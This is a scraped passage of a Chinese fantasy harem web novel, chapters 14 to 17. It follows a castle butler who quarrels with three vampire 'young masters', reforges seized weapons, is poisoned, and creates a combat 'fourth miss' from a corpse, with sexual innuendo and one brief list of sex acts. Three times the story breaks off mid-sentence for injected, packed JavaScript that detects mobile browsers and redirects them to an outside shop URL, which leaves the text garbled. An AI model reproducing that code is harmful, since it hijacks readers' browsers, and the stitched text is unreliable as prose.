你往后退一步,把他拉起来,摁在沙发上。 “好好工作,好不好?” “嗯……好。” 三个人,三份爱…… 干嘛都要爱呢?你的爱有什么用?能长生不老吗?能练就不死之身吗? 爱爱爱,你最烦三个少爷跟你谈爱了。 哦!你恍然大悟! 你把小少爷扒拉开,从抽屉里拿出一条黑色镶金丝的发带。 这是你第一版发带,早就不戴了。 你把发带缠在大少爷的手腕上,一共缠了五圈,魔丝钻入其中,将发带固定成手环的形状。 行了,这下,他们身上都有你专属的东西了。 小少爷是兔子,二少爷是红色发带,大少爷是黑色手环。 虽然有些重复,但你觉得够了。 果不其然,大少爷不矫情了,对着手上精致的手环左看右看。 他勾住你的手指,低下头,虔诚地印下一吻。 怎么说呢…… 只是一件很小的事啊。 他…… 唉! 少爷这种生物…… 唉! 为何非得上赶着被你揍一顿呢? 哦对了,他是抖M啊。 “噗”的一声。 城堡轻轻抖动了一下。 你心累,对刚才的事不知作何评价。你对他们摆了摆手:“好了,你们回去吧,城堡一切如常了。” 小少爷娇纵的声音响起:“二哥哥为什么还躺在管家大人的床上?” “我不要,我也要在这里睡。” 大少爷看着手环笑得放肆,也长腿一搭,赖在这里不走了。 得,又回到原点了。 “管家大人,您现在……到底更爱谁?” “今天,到底需要谁?” 你:…… 现在是讨论这个的时候吗? 14. 造孽啊 有病,简直有病。 你恨铁不成钢啊!什么爱不爱的。 还是那句话,爱能当饭吃吗? 就算这样,你还是从牙齿缝里挤出几个字来哄他们:“你们三个,我都爱。” “排名不分先后,所以,都给我起开。” 散了吧散了吧各位。 你今天谁也不准备宠幸,这都什么时候了?敌人都要打到大门口了,三个人脑子里还想着那些不可说之事。 你给他们翻了个白眼,“砰”地一声关门,转身离去。 房间大方地让给他们了,三个人都挤在你床上睡觉也无所谓。 刚走没几步,你又回来了。 三个兄弟正面面相觑,构成一个诡异的三角形。 一个躺着,两个站着,高矮不一,面无表情,磁场邪门,过于静谧。 你一头雾水地问:“你们三个干嘛呢?” 没指望他们给你一个合理的回答,你快步穿过三人,把挡在墙壁前面的小少爷推开。 小少爷一个踉跄,揉着肩膀,噘着嘴说:“管家大人,你把我弄疼了。” 他什么时候这么弱不禁风了? “抱歉。”你理直气壮地说。 “呵,装。” “切,弱。” 最弱的躺在床上说他弱,最装的摆着pose说他装。 三人的视线在空中交锋,滋啦作响。 你对身后的场面一概不知,只是皱着眉,检查着墙上那道不断修复又不断撕裂的小缝隙。 城堡的愈合功能不弱,不然你也创造不出几乎打不死的大少爷。 墙壁在奋力愈合,现在只剩下一条缝,很像是用指甲刮出来的痕迹。 十三号搞出的痕迹,那肯定和桑齐有关。 正常法器伤害不了这面墙,之前已经把四号的枪排除了。 你将手放在墙上,墙壁瞬间变得柔软,坑坑洼洼的褶子在你的手心,细微的波浪形一阵接一阵拍过来,城堡在向你传输信号。 人太多,城堡还没消化完,但是武器都已经吐出来了。 你操控墙壁,将嵌在墙壁内部的武器不断蠕动至地基。 你将缝隙拉大,皮肉撕裂的声音不大,但很痛。 墙壁再一次剧烈地蠕动起来。 “嗷呜——” 它痛得将整个房间一口吞了下去。 小少爷一瞬间踏上了柔软的内壁,没站稳,紧急拉住旁边的大哥哥,不悦地说:“城堡一痛就喜欢吞人吗?” 他嘴里嘟嘟囔囔道:“我房间也被它吞了。” 你往前走了两步,稍稍离那三人远了些。 就像气球撑满天空,触手撑满了这一段内部空间。 缠绕,冲刺,五根触手拧成一股麻花,一下撕裂了那处正在愈合的口子,将它再一次撑大。 然后,像花一样,五根触手绽放开来,将伤口覆盖。 从外部看,就像光滑的皮肤上攀附着丑陋的疤痕。 五根触手开始转动。 别转了,没说你丑。 触手还在转。 真受够了,什么时候触手也变得这么矫情了。 好了好了,是那个伤口丑,不是你丑。 触手停止转动。 “它转什么呢?”小少爷好奇地问。 他还是第一次见这种场面。 连稳重的二少爷都认真看着这场大型手术。 你从小少爷和大少爷中间走过,顺便摸了摸他柔软的卷发:“小孩子别问。” 触手开始分泌液体,一边将透明液体涂满墙壁,一边啃食着原来伤口旁的腐肉。 然后,在众人的目光下,你砍断一根触手,其余四根收回你的尾骨中。 剩下那一根就像创口贴,牢牢粘贴在墙壁上。 “呸——” 墙壁把房间吐出来了。 那三个是第一次体验,矜持又新奇地看来看去。 你准备去地基了。 就从你自己的房间进去。 “带上我。” 大少爷三步并作一步,拉住你的手腕。 “也把我带上。” 小少爷两只手拉住你另一只手。 哇哦,你有了一双人形翅膀。 突然,你腰间一重。 二少爷不知什么时候从床上下来,环住了你的腰。 你很想捂住额头,两只手却抽不出来,只能叹一声气:“你又来凑什么热闹?” “我也想……跟上你们的脚步。” 大少爷装出一副哥哥的慈爱,挤出一丝僵硬的笑:“我的弟弟,你身体恢复好了吗?” 他特地露出黑色的手环,这手环做得确实不错,你的审美很可以,手环戴在瓷白的手腕上,相得益彰,十分匹配。 小少爷换动作了,两只手臂环住你的一只手臂,树懒一般扒在你的手臂上。 “哥哥,我怕你走两步就散了。” 二少爷紧紧抱住你的腰,双膝跪地,头抵在你的腰窝,你感受着他身体的颤抖。 “不要这么说。” 你看不到二少爷的表情。 “我在短短的时间里为管家大人提供了这么多次,身体的换血系统早就升级了,完全可以让管家大人再次索取。” 小少爷炸毛了:“什么叫提供了这么多次?!” “弟弟没听懂吗?字面意思,各种方面,各种部分,管家大人都很喜欢。” “你……” “闭嘴!” 烦死了,吵吵吵,你还在这儿呢,还能吵起来! 你一手甩出一个,一个接一个,全被你甩进墙壁里了。 “噗,噗,噗。” 跟吸溜面条一样,呲溜一下就吸进去了。 其实你很想用放屁来形容这股声音。 二少爷一把拉住你的手,十指相扣,并排而走。 “卑鄙。”你听到小少爷一声轻呵,随即,他的手也牵住了你的另一只手。 行了,墙壁就这么宽,三个人并排走,刚刚好。 大少爷耸耸肩。 “果然,都是弟弟。” 他摆出一副正宫老大的姿态,把你垂到前面的碎发轻轻拨回耳后。 他的手背在身后,在前面带路,昂首挺胸的模样像宫斗胜利的公鸡。 你忍不住打断他释放魅力的行为:“你知道我要去哪里吗?” 他脚步不停:“当然是……去我的心里。” 你无语地转身:“我要去地基,快跟上来。” “笑死我了。”身边的矮子捂着嘴偷笑。 你拍了下小少爷的头。 “咚”的一声,是颗好头。 一眨眼的功夫。 你带着三人层层下坠,落地,踩在不湿鞋的水面上。 小少爷撒开你的手,在偌大的空间内来回跑动。 “啊——”他大喊道。 “啊——” “啊……” 空间用他的回声回应着。 “原来,这就是地基……”二少爷还紧紧扣着你的手,你手心都冒出了汗。 你主动松开五指,顺便在裤子上擦擦手。 “你难道没来过吗?” “来过,只是……没认真看过。” 他的脸颊上泛起一丝粉红,耳朵更是通红。 他再一次贴了上来,牵住你的手。 哦,对,二少爷当时被重塑后,被你扑倒了。 哎呀,你那时候年轻力盛。 面对眼前如此符合你XP的一个柔弱裸男,能不折腾折腾他吗? 你也没有将过去的记忆塞进他的大脑。 所以,现在的二少爷,第一个记忆,就是和你一起制造的。 你那时候心里还想着第二天要去上班,招待客人,所以只和他在地基里厮混了四个小时。 因为只有四个小时,所以能做的不多。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17359011|199456||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>但是,那时候你的确很有耐心。 不像现在,对二少爷,就只是吸血回血。 亲吻、舔舐、抠弄、揉捏、握住、轻捏。 掰开、进入。 摩擦、哭泣。 然后循环。 除了哭,其他的都是你的动作。 “咳咳。” 你骄傲地咳嗽两声,挺直背脊。 小少爷在玩地上的水,他在研究为什么踩在水上,鞋还不湿。 大少爷对着黑色手环傻笑。 这个地方,他已经来过一次了,而且还和管家大人呆了三个小时。 他很自豪。 但他看不惯二少爷那股子绿茶白莲样。 故意用肩膀撞他,大少爷挑衅地对他说:“知道麦克劳林公式吗?” 看着二少爷懵懂无知的样子,他心里一阵酸爽:“你每天在那里装模作样地读书,连这个都不知道?” “你每天就研究这些玩意儿?”你无语地说,“还有,你到底是从哪里看来的?” “哼,”大少爷没听见你说话,只一味对着二少爷挑衅,“我上次来这里,管家大人都对我用了麦克劳林公式。” 你一头雾水。 什么玩意儿? “管家大人一直在捣我,三个小时。” “哦,我四个小时。” “我是近期。” “我四个小时。” 小少爷凑过来:“什么什么?什么公式,我怎么不知道?” “什么三个小时,四个小时?” “管家大人之前陪了我一晚上,七个小时!” 你:…… “滚开!” 你一把甩开他们的手,好汉不提当年勇,只是当年猛。 等你把这件事解决了,自立门户后,再谈这些少爷的去留问题。 真是的,三个人,怎么越来越不正常了。 等了一会儿,脚下的水面泛起波纹。 三把诡异的武器被投送上来。 一把完整的刀,一个碎裂后被重新拼好的月亮耳钉,还有一把枪。 那把完整的刀,上面溢散的魔力有两股,一股是八号的,另一股是十三号的。 刀和枪的来历差不多,都是普通的武器被位面改造,改造的人不同,手法也不同。 看来不止一个诡异希望你死。 月亮耳钉上面的魔力已经溢散得差不多了,本来就是类似压缩特殊魔力、进行储藏的东西。 三个人也不吵架了,都凑上来看你摆弄这三样东西。 你头也不抬地问:“你们想要吗?” “不想。”二少爷率先拒绝,“别人用过的东西,我才不要。” “嗯,我也嫌脏。”小少爷附和道。 大少爷不语,他把头靠在你的肩膀上,亲昵地亲吻你的脸颊。 你脸上沾染一点温热的湿润。 又咋了? 唉—— 算了,都不用,你用。 你收废品一般将三个武器打入地下,准备用地下储藏的特殊魔力改造一番。 身上一重。 又来了又来了。 你是大树吗? 为什么每一次都要挂三只考拉? 他们啥时候这么有默契了? 怎么都喜欢同一时间凑上来? “管家大人……”二少爷抢占了你前面的位置,脸贴着你的胸。 “我们不知道你什么时候会离我们而去,所以……” 滚滚滚,什么晦气话?! “你们仨消散了我都不会消失。” “好了好了,我要弄东西,都去一边去。” 小少爷抱住你的腰,他的身高也就这样了:“我就在旁边看着,哪也不去。” “除非你把我打死。” 大少爷补充一句,贴着你的耳朵吹气:“或者把我捣死。” “……” 造孽。 15. 改造武器 如果你再不制止他们无意义的行为,你的清冷人设就崩了。 虽然你已经被这件事折磨得全然无优雅可言。 好烦,果然,单飞是最好的。 你不断调整着地基中武器的位置,准备将它们一同打包改造。 同时不忘吩咐大少爷做事:“把所有傀儡投放在城堡各处,以及每一间房间内。” 大少爷笑得暧昧,从你的肩窝处抬起头:“所有的房间?那这样说的话……” 他双臂用力,扣住你,对身边的那两人说:“弟弟们的所有秘密,我就都能尽收眼底了。” 你抓住大少爷的卷发,将他整个人往后扯:“我说什么,你就做什么。” 废话真多。 给他们一点好脸色,他们就会蹬鼻子上脸。 三个人默契地从你身上退下。 你抽取地基中的能量,修复了除妖刀外的两件武器。 妖刀的能力不错,使点力便可斩断大部分坚硬之物,你卧室里的那道缝隙,大概率就是用这把妖刀的刀锋划出来的。 可惜八号不是个称职的使用者,更别说十三号,十三号只会可怜兮兮地摆弄这把刀的刀锋了。 也幸亏她能力不行,不然拉出一道大口子,可就不好收场了。 你将妖刀残余的魔力完全抽出、提纯,分为两份:八号的那一丝魔力纯粹是速度属性,他的速度配上妖刀,确实是个不错的组合。 果然,提纯出的十三号魔力里掺杂着桑齐的腐烂之气。 桑齐这人,诡异又丧气。 除了你之外,没人愿意和这个既能读心,又能手搓武器的骚包说话。 这把枪也很好用。 五十年间,现实世界发展迅猛,但大家默认的规矩还是进入位面后,冷兵器当道。不然,哪天玩家搞出一枚核弹…… 到时候,一切全都会玩完。 这把枪,算是将约定成俗的规矩打破了,开创了热武器的先河。 必须停用。如果之后进入位面的玩家人手一把热武器,该如何管理? 若这种事真的发生了,所有位面的规则,几乎都要被推翻重来,不加看管约束的后果不堪设想。 地基里还存放着九号的枪。 九号的身体没什么用处,城堡早就把他的骨头吐出来了,但他的枪可以为四号的枪增幅。 九号的枪比四号的袖珍一些,同样都以魔力作为弹药。 如果使用者魔力丰沛,这把枪就是无限弹药。 四号失败的很大一部分原因,就是魔力不足。 袖珍枪因体积关系,消耗的魔力更少。 四号的枪攻击威力巨大,两者结合,便能以少量魔力发出超强攻击。 虽然你也不缺这点魔力,但毕竟省吃俭用惯了。 你当年也是厮杀出来,才稳坐十大诡异之位的。 还有这个耳钉。你没有耳洞,准备做成项链戴在脖子上。 你很喜欢它时间倒流甚至停止的能力。 时间…… 那是第二位面诡异深溪的能力。他的领地是一座迷宫,通过控制时间与空间,将玩家玩弄于股掌之间。 四号确实有点本事,能从第二位面抢来这么厉害的武器。只可惜,她聪明却自身太弱,无法驾驭这件宝贝。 月亮耳钉的时间倒流和短暂停止只是最基本的能力。 若将它的潜力开发殆尽,完全能扰乱一个位面的磁场,甚至通过耳钉窥探任何事物的未来。 按理来说,这么变态的武器不该让四号拿到。 难道是通过欺骗这种手段吗? 你对此深感怀疑。 深溪…… 你好久没见过他了。这人神出鬼没,总在自己的天地里游弋。一旦现身,必将把自己包裹得严严实实,无比神秘。 当然,你欣赏四号,但这不代表她是个“好人”。 在你这里,“好人”的定义相当简单:既不滥杀无辜,也不恶意欺诈,更不故意伤害,便是一个好人。 可四号会被送到你这里,说明她触犯了其中一条。 对玩家来说,抽取位面全凭运气,但被分到你这里来的,必然是触犯了你的禁忌。 比如二号,他故意伤害,诱拐在校学生。 又如五号,她也是故意伤害,霸凌同学致死。 还有八号,他在现实世界中实施家暴…… 相当之恶。 你吸收这些人的恶意,会因此变得强大,但付出的代价是正常情感逐渐消失。 友情,你没有朋友,桑齐不算朋友,所以不需要。 爱情,更不需要。 亲情,你甚至不知道自己从何而来,是否为胎生碳基生物。 要这些有什么用? 所以,这对你来说,是一笔稳赚不赔的买卖。 你再次与城堡建立联系。 十五个人里,只有十三个人被正常消化了。 十三号和四号又被吐了出来。 十三号不是人,全身上下没有能被城堡消化的部位。 桑齐这狗贼,果然是个厉害又变态的锻炼大师。 做的跟真的人一样,要不是因为城堡无法吞下,你都发现不了。 四号……就更奇怪了。 她的恶不在你这里,而是过分贪婪,导致了纯粹的恶意,设计陷害致使一人死亡。 那既不是对你的贪婪,也不在你的监管范围内,城堡拿她没辙。 没辙正好。 反正人已死,就拿来做点有意义的事吧。 后面三位少爷难得听话,连说话的声音都小了很多。 二少爷没参与,在一旁抱着手臂,看似两耳不闻窗外事,实则身子恨不得斜到外太空去偷听。 小少爷问:“你是从哪里知道这么多的?” “多看书。” 小少爷一脸不信:“可你不是才被管家大人重塑肉身吗?这么短时间,哪能看这么多书?” “哼,我过目不忘,哪像某人……”大少爷斜着眼睛瞥向清风霁月、清雅出尘的二少爷。 二少爷立马站定,把头撇了过去。 一副出淤泥而不染,濯清涟而不妖的样子。 “城堡上面有一个阁楼,你知不知道?” 小少爷摇头:“管家大人不是不让我们出各自的楼层嘛,你违反命令了。” “不是,我的画在阁楼里,这无所谓。” “那个地方摆着很多杂物,书,架子,人骨,还有一些衣服等等。” “我看不懂里面的书,写得很乱,但我过目不忘,把里面的表达都记住了。” “表达也很奇怪,却又莫名有道理。” 阁楼里是第一代少爷的东西。 多年来一直没清理,久而久之,你都忘了,那些东西就那么摆在那儿。 第一代少爷,真是让人又爱又恨。 你摇摇头,将这些杂念甩出去。 “你们两个。” 你转头喊老大和老幺。 “你们两个回我的房间,把地板上躺着的尸体送到下面来。” 那两人一高一矮,一凸一凹,呆呆地看向你,莫名喜感。 “为什么不让二哥哥去?我这么小,抬不动的。”小少爷不满地哼了一声,跺跺脚表示不愿意。 “快去。”你盯着小少爷说,“没有我在前面传送,你们两个尽量快一点,不然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17360983|199456||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你们在墙壁里扛不住。” 墙壁在刚才消化尸体时,顺便给自己做了个加强。 二少爷不能去,这个移动充电宝必须乖乖等在你身边,以备不时之需。 你从地基中抽取魔力,对三件武器依次进行改造。 你的锻炼能力不如桑齐,但也足够了。 额头泛起细密汗珠:“你在短时间内,还能给我供能多少次?” “多短的时间?” “从现在起的二十四小时。” “两次。” “好,够了。” 武器做好后,使用时无需耗费太多魔力。 你的魔力大部分用于维持城堡正常运作。 若他们那群人打过来,将城堡能量降到最低,这样,你体内的魔力储备,应该也足够应付了。 二少爷为你擦干额头的汗,担忧地问:“现在需要来一口吗?” 你摇头:“不必。” 镜子还没反应,说明他们要么还没攻破封印,要么在商讨怎么杀了你。 现实世界的通道应该关闭了,毕竟地图上直接少了一个位面。 好困…… 眼皮开始打架。 为什么只抽取情感,不连带着身体机能一齐抽走呢? 大脑开始发晕。 不行,不行! 身体机能不能消失,你不能失去爽感。 好困…… 好困…… “管家大人……” 远处传来熟悉的声音。 “管家大人,你怎么了?” 这是二少爷的声音? “我说什么了?”你问。 “我说什么了?我什么都没说。” “骗人。” 你感到一阵眩晕:“别晃我……” “什么?我没晃你啊?” 没晃。 没说。 “啪!” 你脸上一阵痛楚。 “管家大人!” 喊什么?喊什么?! 没见过自己扇自己吗? 你狠狠给自己一巴掌。 要命,着道了。 桑齐…… 你怎么就忘了呢?十三号有毒啊!桑齐现在会玩毒了! 死人的妖刀! “管家大人……” “别碰我!” 你一把甩开二少爷伸过来搀扶你的手,踉跄起身。 眼眶通红,目眦欲裂。 妖刀被你的魔力托举,缓缓升至空中。 “嘭!” “啪——” 你恨恨地将它捏碎,碎成一片一片的玻璃,“噼里啪啦”地砸在水面上。 你心跳如雷,站不稳,不由自主地往一边歪斜。 “别碰我!” 你大喝一声,劝退了差点扑过来的人。 “噗通!” 你跪在地上,头无力垂下。 魔力一点一点肆意外泄,怎么收也收不回去。 桑齐…… 你算准了我会改造这三个武器,是吧? 哼,这算是我不把你当朋友的报复吗? 好吧好吧…… 你感觉到前面也跪着一个人。 触手释放,横在你们中间。 你气若游丝:“千万别碰我,桑齐指不定会搞传染那一套。” 他手放下也不是,贴上也不是,带着哭腔,焦急地说:“那……那该怎么办?” “莫着急。”你很想笑,却扯不出一丝弧度。 “别哭。你哥马上就下来了。” 这是你第一次,真切感受到了大少爷的价值。 造他,不亏。 16. 创造四小姐 “扑通。” 薄薄一滩水,却溅起层层水花,尸体被两人粗暴地扔在地上。 大少爷是自己滑到你嘴边的。 忽然一个滑跪,动作丝滑地扯开上半身衣物,把脖颈递到你唇边。 “扯这么多干什么?我又不想看你的小红豆。”你好笑地开口,脸上却扯不出笑意,只剩一副皮笑肉不笑的模样。 “小红豆不好看吗?这么粉。”他对自己的身材很自信,“你不看,可以咬。” 话音落下,他直接把你按了上去。 ! 要淹没在发达的胸肌里了…… 滚。 神经病。 你回到他脖颈的位置。 大少爷很是兴奋,这么久了,他终于要被咬了。 你咬上那片最柔软、皮薄得近乎脆弱的地方。 片刻后,你抬起头,擦了擦嘴角:“别喘,你不适合这样,听得我头疼。” “哈?”他不可置信。 “真的。”你甚至点头。 “啧。”他有点失望,“就这?!不再多吸点?这可是最新版的净化之血。” 你轻轻叹气,好累,方方面面都累。 最后一丝外溢的魔力飘向小少爷怀里的兔子口中。 大少爷的治愈能力增幅就此消失,往后你再受伤,就只能靠自己的自愈能力硬扛。 幸亏已经给他完成了净化。 兔子张开嘴,将吞入的魔力重新释放,回流进你的体内。 你站起身,晃了两下,活动了一下筋骨。 “就只剩这么点了。”小少爷开口,“地基里四散的魔力都收集过了,没想到就剩这么少。” “没事,只是往下渗了而已。” 你摸了摸他的头,把兔子塞回他怀里:“好好抱着。” 三把武器已销毁一把,剩下两件基本改造完毕。 月亮耳钉被炼成了一条极细、极闪的银链,细得如一缕月光,贴在颈间几乎看不见,只在动作时掠过一抹冷光。 要的就是这个效果,你暂时把它收进了口袋。 枪还是老样子,线条利落,棱角分明,全金属机械结构裸露在外,没有一丝多余装饰,冷硬又极具攻击性。 你将它别在腰后。 大少爷盘腿坐在地上:“好可惜……才被咬这么一点,我都没什么感觉……” “桑齐的毒只是试探用的,我反应大,是因为一直在动用魔力。”你俯视着他,“别指望我会中毒。” “你就是偏心。”大少爷说着,指向站在你身后为你编辫子的二少爷,“凭什么是他!” “哼,每次他被咬得可爽了,我都听得一清二楚。” 大少爷忽然放缓语气:“你知道他房间里藏着什么吗?” 二少爷猛地转头:“你闭嘴!” 一向好脾气的二少爷,眼神骤然变得阴鸷,“你翻我房间了?” 藏着什么? 有什么是你不知道的? 哦……等等…… 你好像,确实什么都不知道。 你心累地扶额:“别吵了,帮我把尸体抬过来。” 两人将四号的尸体搬到你脚边。 小少爷蹲在地上,戳了戳四号的脸颊:“管家大人要她做什么?” “有了少爷,也该造一位小姐出来。” “什么?” “什么!” “哈?” 三人三种反应,各不相同。 大少爷两步并作一步冲到你身边:“啥玩意?你认真的吗?你不是已经有我们了吗?” 就是因为有你们,我才要再造一个人出来。你在心里腹诽。 你态度强硬:“别质疑我的决定。” 地面裂开一道道暗门,尸体在你的操控下,层层下坠。 二少爷已经卷起袖子,衬衫最上方两颗扣子也解开了:“够不够?有没有事?我一直在旁边。” 大少爷接话,懒洋洋地拖长语调:“到时候总会咬你的,你急什么?” 你坏心眼地添了把火:“我确实很喜欢听他喘。” 果不其然。 有人炸毛了。 “哈?你喘一个给我学学?” “……有病。” 小少爷抱着兔子,只觉得哥哥们太过幼稚,便转过身,认真看着你操作:“管家大人当初也是这样把我们造出来的吗?” “差不多。” “我们以前也是玩家的尸体吗?” 他又换了种问法,“我之前真的和她一样,是人类吗?” 你听出了他语气里的沮丧与难过。他不喜欢人类,更不喜欢你和人类有牵扯。 每次和你待在一起时,他都恨不得把自己的味道染满你全身。 他垂着眼,脸颊还带着少年人特有的软嫩圆润,满心失落,却依旧透着惹人疼的稚气。 微微耷拉的眼皮,抿紧的小嘴,连难过都显得格外乖巧,看得人心头发软,只想伸手好好安抚。 这副模样实在让你招架不住,以后都用这种语气说话好不好? 别跟你那两个哥哥学坏了。 “当然不是,亲爱的。”你回答,“你们这一代,是用傀儡造出来的。” “是大哥哥操控的那些傀儡吗?” “对,只是用料比普通傀儡更好。”你示意他往下看,“用的就是这里的材料。” 第一代少爷是用尸体改造的,后来被彻底打碎了。 “阁楼里放的是什么?”他眨着大眼睛,天真地问。 “你猜猜看。” “是前几代少爷的东西吗?” “算是吧。” “我们三个要是死了,你也会把我们的东西放进去,等后人发现吗?” 这个问题你从未想过。 从前你造出的人,失去机能后,他们的东西大多会被城堡吞噬。 只有第一代少爷不一样,对你们而言,他们有纪念意义。 “你想让我放进去吗?”你反问。 “不想。” “为什么?” “因为我不想让别人窥探到我对管家大人的爱。” 你不想再接话。 什么是爱?爱真的有用吗? 爱对一个傀儡而言,又有什么意义? “管家大人……”小少爷的语气带着你从未见过的认真,“别把我想得太肤浅。” “……” “我爱你,是认真的。因为是你创造了我。” “你的意思是,我是造物主,所以你才爱上我?” 你只觉得荒谬又可笑。 “不止如此。”他的话说得模棱两可。 你怀疑他也看了些不该看的东西。 素质教育果然重要,稍不留神,他们就会生出些奇奇怪怪的新想法。 “你那本从第四位面拿来的故事书,就是讲这些的?” “故事书上有很多东西,我想知道什么、想看什么,它就会告诉我什么。” 你轻吐一口气,现在该给四号附魔了。 “你的那本书,会根据使用者的习性自行调整内容。” 额角的汗水顺着发际线滑进眼里。 二少爷手极快地替你擦掉。 你的后背早已被汗水浸透。 他凑近你,身上的血香味一簇一簇地钻进你的鼻腔,像一朵曼陀罗。 “管家大人,现在……?” “再等一会儿,快了,我马上就把她造好。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17364753|199456||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 四号的体魄十分强健,肌肉密度很高,大腿肌肉尤为发达,是天生的战士。 她从前必定对双腿与双臂进行过严苛训练,可在得到枪之后,便几乎放弃了近身作战。 她的身体早已彻底失去生理机能,你只能用地基中的材料,修补好她破损的身躯, 同时注入地基里封存的特殊魔力——那与小少爷的血脉同源。 小少爷的血是用来为你增幅力量的,而他本身不靠蛮力作战,依靠的是兔子的力量。 四号则不同,近身格斗、超强□□力量,再配上月亮耳钉的时间能力,足以让敌人站在原地任由她捶打。 这便是强大的城堡四小姐。 你拉过地上破烂的衣物,上面还沾着早已凝成黑褐色的血迹。 衣摆中间破了个大洞,你干脆脱下自己最外层的管家制服。 四小姐的身躯缓缓升起,在半空中站定,睁开了纯黑的眼眸。 她的体态与少爷们截然不同,更健硕,更有力。 少爷们是用来取悦你的,而这位小姐,是实打实的战争机器。 你将外套披在她身上。 她比你稍矮一些,外套穿在身上略显宽大。 大脑已被重置,她只认你一人。 “管家大人。” 她语气平淡无波,却像一张网,轻易攫住了所有人的注意力。 她站稳身子,下意识便要扑过来拥抱你。 另外三位少爷默契地同时上前一步。 NONONO,你现在有点虚,不能扑上来,你可能抱不住。 你扶住她的肩膀,让她安分站好,将口袋里的月亮项链戴在她颈间,样式低调,只在转头时,露出一点细碎而锋利的光泽。 很漂亮。 你很满意。 “管家大人……”她黑曜石般的眼睛牢牢锁住你,呢喃着你的名字,缱绻又绵长。 她张开双臂,像个刚学会走路的孩子。 她环住你的腰,额头抵在你的肩上,脸颊贴着你的脖颈,肌肤温热,泛着淡淡红晕。 在你看不见的角度,她抬眼斜睨着你身后的三人,目光里带着几分玩味与炫耀。 她身上的血腥味直冲鼻腔。 啊啊啊! 身上有点臭,不行不行! 你轻轻推开她,她愣了一瞬,脸上写满不敢置信,歪着头用水汪汪的眼睛望着你。 你摇了摇头,直言不讳:“你有点臭,先去换身干净衣服、洗个澡,才能抱。” “噗嗤——” 不知是谁没忍住笑出了声。 大少爷唇角微微一斜,拉出一道散漫又轻佻的弧度:“谁让她刚才挑衅我们,呵,被制裁了吧。” 二少爷上前握住四小姐的手腕,想将她带走:“我带你去换衣服。” 四小姐轻松一挣,力气大到把二少爷往前带了几步,差点摔倒。 她哒哒哒跑到你身边,一把抱住你的右臂,整个人都挂在你身上。 “不要!”她语气强硬地拒绝。 “你带我去。” 她大幅度晃着你的胳膊,不知道的还以为在玩大摆锤,“好不好嘛,管家大人带我去,嗯~” 小少爷瘪起嘴:“嘤嘤怪来了。” 怎么这么会撒娇。 要命。 当人类的时候也不这样啊。 你扯下拽着你右臂的手,放进手心:“我们上去。” 小少爷立马牵住你的另一只,并对四小姐重重“哼”一声。 “走,上去。” 让四小姐换个衣服,顺便咬几口二少爷。 你感受着整个城堡的外部,一片祥和。 现在,他们还没攻过来。 不过,应该快了。 17. 四人修罗场 由你的魔力开路,总要快上一些。 你立马把四小姐丢进浴室,虽说开战之后她身上照样会脏,但此刻必须先弄干净。 你又开始虚了。 最近几天虚弱的次数,都快赶上前几百年加起来的总和了。 老了? 还是该多补补? 你选择多补补。 你的房间里共有五人。 四小姐在浴室,花洒冲水的声响很大,仿佛能掩盖住一切杂音。 “我很快的。”她轻声说,“而且我会变得很香,和管家大人一个味道。” 你虚弱地坐在沙发上,双手横搭在沙发靠背上。 二少爷跪在你面前,上半身微微后仰,他核心力量极强,腰身弯出一个恰好能展露纤细腰肢的弧度。 他嘴里叼着红发带,将头发向后拢起,冷白、骨节分明的手指穿梭在金发之间。 你嫌慢,直接伸手帮他。 剩下两人一人一边,坐在小沙发上,看着这养眼又暧昧的一幕。 说实话,气氛有些诡异。 就像三头狼围在一处,居高临下地盯着二少爷这头小绵羊。 至于大少爷和小少爷为何还坐在旁边,你明明已经让他们出去。 大少爷道:“我来学学,该怎么喘。” 小少爷道:“我来品鉴品鉴,该怎么烧。” 这还是第一次,补充能量时被另外两个血族围观。 “她,”大少爷指向浴室,“会不会也要……” “不会。”你断然否定,“她是专门用来打架的,很强,人形武器。” 小少爷学着你先前的模样,往后靠在沙发上,翘起二郎腿:“比我们都强?” 你拨弄二少爷发丝的手顿了顿:“……你们很强吗?” 你问得无比真诚,却让三人齐齐破防。 二少爷捉住你的手,将你往前一拉。你稳住身形,臀部并未离开沙发,反手将他拽到身前。他被你用力一拖,大腿根狠狠撞在沙发上。 他吃痛,轻喘一声:“嗯哼……” 大少爷用下巴朝那处示意:“哟,没事吧?待会儿还能出来吗?” 你满头黑线。不过是这点时间,只是吸个血,又不做别的。 二少爷不理会他,将脸埋进沙发,头颅恰好搁在你的双腿两侧。 小少爷打趣道:“哥哥倒是幸福,我都没在那儿歇过,你这是占便宜呢?” 你闭上眼,轻叹一声,只觉得自己又老了几岁:“你们两个出去。” “不要。” “才不呢。” “我要在这儿观摩。” “我也是。” 